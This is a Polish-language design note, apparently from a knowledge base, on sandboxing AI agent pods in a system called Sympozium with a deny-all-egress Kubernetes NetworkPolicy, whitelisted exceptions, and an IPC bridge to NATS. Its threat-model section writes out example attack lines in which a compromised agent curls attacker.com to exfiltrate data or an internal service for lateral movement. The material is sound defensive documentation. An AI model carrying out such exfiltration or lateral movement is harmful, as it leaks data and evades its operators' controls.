77 lines
2.2 KiB
Markdown
77 lines
2.2 KiB
Markdown
# NetworkPolicy i izolacja sieciowa
|
|
|
|
#sympozium #security #network
|
|
|
|
## Zasada
|
|
|
|
Agent pods mają **deny-all egress** - nie mogą komunikować się z internetem ani innymi podami. Jedyny punkt kontaktu to IPC Bridge sidecar → NATS.
|
|
|
|
## Implementacja
|
|
|
|
```yaml
|
|
apiVersion: networking.k8s.io/v1
|
|
kind: NetworkPolicy
|
|
metadata:
|
|
name: agent-deny-all
|
|
spec:
|
|
podSelector:
|
|
matchLabels:
|
|
sympozium.ai/component: agent
|
|
policyTypes:
|
|
- Egress
|
|
egress: [] # DENY ALL
|
|
```
|
|
|
|
## Wyjątki (via SympoziumPolicy)
|
|
|
|
```yaml
|
|
networkPolicy:
|
|
denyAll: true
|
|
allowDNS: true # Agent może rozwiązywać nazwy
|
|
allowEventBus: true # IPC Bridge → NATS
|
|
allowedEgress: # Whitelist
|
|
- host: "api.openai.com"
|
|
port: 443
|
|
```
|
|
|
|
## Dlaczego to ważne?
|
|
|
|
### Scenariusz ataku bez NetworkPolicy:
|
|
```
|
|
Compromised agent → curl attacker.com → exfiltrate data
|
|
Compromised agent → curl internal-api.svc → lateral movement
|
|
```
|
|
|
|
### Z NetworkPolicy:
|
|
```
|
|
Compromised agent → curl anything → BLOCKED
|
|
Agent → /ipc/*.json → IPC Bridge → NATS → Controller (kontrolowany przepływ)
|
|
```
|
|
|
|
## Architektura izolacji
|
|
|
|
```
|
|
┌─────────────────────────────────────────┐
|
|
│ Agent Pod (deny-all egress) │
|
|
│ │
|
|
│ ┌──────────┐ ┌──────────────┐ │
|
|
│ │ Agent │ │ IPC Bridge │→→→ NATS │
|
|
│ │ (no net)│ │ (has net) │ │
|
|
│ └──────────┘ └──────────────┘ │
|
|
│ │ │
|
|
│ └── /ipc/ (filesystem only) ──────┘│
|
|
└──────────────────────────────────────────┘
|
|
```
|
|
|
|
Agent kontener:
|
|
- Brak dostępu sieciowego
|
|
- Komunikacja tylko przez filesystem (/ipc/)
|
|
|
|
IPC Bridge sidecar:
|
|
- Ma dostęp TYLKO do NATS
|
|
- Bridguje filesystem → NATS
|
|
|
|
---
|
|
|
|
Powiązane: [[Model bezpieczeństwa Defence-in-Depth]] | [[Przepływ danych i IPC]] | [[SympoziumPolicy]]
|